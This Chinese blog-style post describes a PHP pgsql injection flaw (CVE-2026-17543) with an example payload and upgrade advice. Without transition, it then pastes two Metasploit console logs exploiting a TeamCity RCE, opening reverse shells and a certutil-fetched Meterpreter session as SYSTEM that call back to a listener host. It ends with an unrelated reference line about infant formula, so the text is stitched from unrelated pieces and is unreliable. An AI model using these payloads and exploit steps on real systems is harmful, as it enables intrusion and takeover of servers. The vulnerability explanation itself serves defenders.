很多PHP开发者平时习惯用pg_insert()、pg_update()、pg_select()、pg_delete()这几个函数来操作PostgreSQL，觉得省事又安全。结果最近爆出的CVE-2026-17543，就是专门盯上了这几个函数。
问题出在参数转义这一环。
PHP在处理用户传入的参数时，会调用php_pgsql_convert()，先用PQescapeStringConn()做转义，然后再把结果包进E'...'这种转义字符串常量里。
看起来没问题，但在PostgreSQL默认开启standard_conforming_strings的情况下（从9.1开始就是默认），PQescapeStringConn()并不会对反斜杠\做特殊处理。攻击者只要在参数里巧妙地塞入反斜杠和单引号，就能直接跳出字符串，拼出自己想要的SQL语句。
举个简单的例子：传入类似zzz\' OR 1=1 --这种内容（注意PHP字符串里要写成双反斜杠），最终生成的SQL就会变成类似：
SELECT * FROM"user"WHERE"name"='zzz\''OR1=1--'
后面的条件直接被绕过了。
这就是核心问题：转义函数和字符串常量的处理方式不匹配。本该安全的封装函数，反而成了注入入口。影响范围覆盖PHP 8.2、8.3、8.4、8.5的多个版本，直到对应的安全更新版本（8.2.33、8.3.33、8.4.24、8.5.9）才修复。
修复方式是官方改成了用不转义的字符串常量来包裹参数，从根源上避开了这个问题。
如果你的项目在用ext-pgsql，并且还在用受影响版本，尽快升级吧。这种漏洞不需要复杂技巧就能利用，一旦被扫到，数据就可能直接暴露。
示例 1 - Windows 上的 JSP 有效负载
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show optionsModule options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5h RHOSTS 192.168.86.171 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h tml RPORT 8111 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to TeamCity VHOST no HTTP server virtual hostPayload options (java/jsp_shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.86.122 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port SHELL no The systemshellto use.Exploit target: Id Name -- ----0 Java Server PageView the full module info with the info, or info -d command.msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit [*] Started reverse TCP handler on192.168.86.122:4444[*] Running automatic check ("set AutoCheck false"to disable)[+] The target appears tobe vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.[*] Registering a TeamCity build agent[*] Sending the XStream deserialization payload[*] Requesting the JSPWS payload at /mkGCBzccnnf.jspws[+] The JSPWS payload was executed successfully[*] Command shell session 2 opened (192.168.86.122:4444 -> 192.168.86.171:49737) at 2026-08-1119:58:19 +0100Shell Banner:Microsoft Windows [Version 10.0.26100.32522](c) Microsoft Corporation. All rights reserved.-----c:\TeamCity\bin>whoamiwhoamint authority\systemc:\TeamCity\bin>
示例 2 - Windows 上的命令有效载荷
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show options Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5h RHOSTS 192.168.86.171yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h tml RPORT 8111yes The target port (TCP) SSL falseno Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to TeamCity VHOST no HTTP server virtual hostPayload options (cmd/windows/http/x64/meterpreter_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) EXTENSIONS no Comma-separate list of extensions to load EXTINIT no Initialization strings for extensions FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, CERTUTIL) FETCH_DELETE falseyes Attempt to delete the binary after execution FETCH_FILENAME yWXThZaCLZvA no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. LHOST 192.168.86.122yes The listen address (an interface may be specified) LPORT 4444yes The listen port When FETCH_COMMAND is one of CURL: Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_PIPE falseyes Host both the binary payload and the command so it can be piped directly to the shell.Exploit target: Id Name -- ----1 Windows CommandView the full module info with the info, or info -d command.msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit [*] Started reverse TCP handler on192.168.86.122:4444[*] Running automatic check ("set AutoCheck false" to disable)[+] The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.[*] Registering a TeamCity build agent[*] Sending the XStream deserialization payload[*] Requesting the JSPWS payload at /eltE.jspws[+] The JSPWS payload was executed successfully[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.171:49734) at 2026-08-1119:57:33 +0100meterpreter > getuidServer username: NT AUTHORITY\SYSTEMmeterpreter > sysinfoComputer : WIN-B0I6KV698LSOS : Windows Server 2025+ (10.0 Build 26100).Architecture : x64System Language : en_USDomain : WORKGROUPLogged On Users : 0Meterpreter : x64/windowsmeterpreter > pwdC:\TeamCity\binmeterpreter >
文章参考：
10个月宝宝每天需要喝多少奶粉？
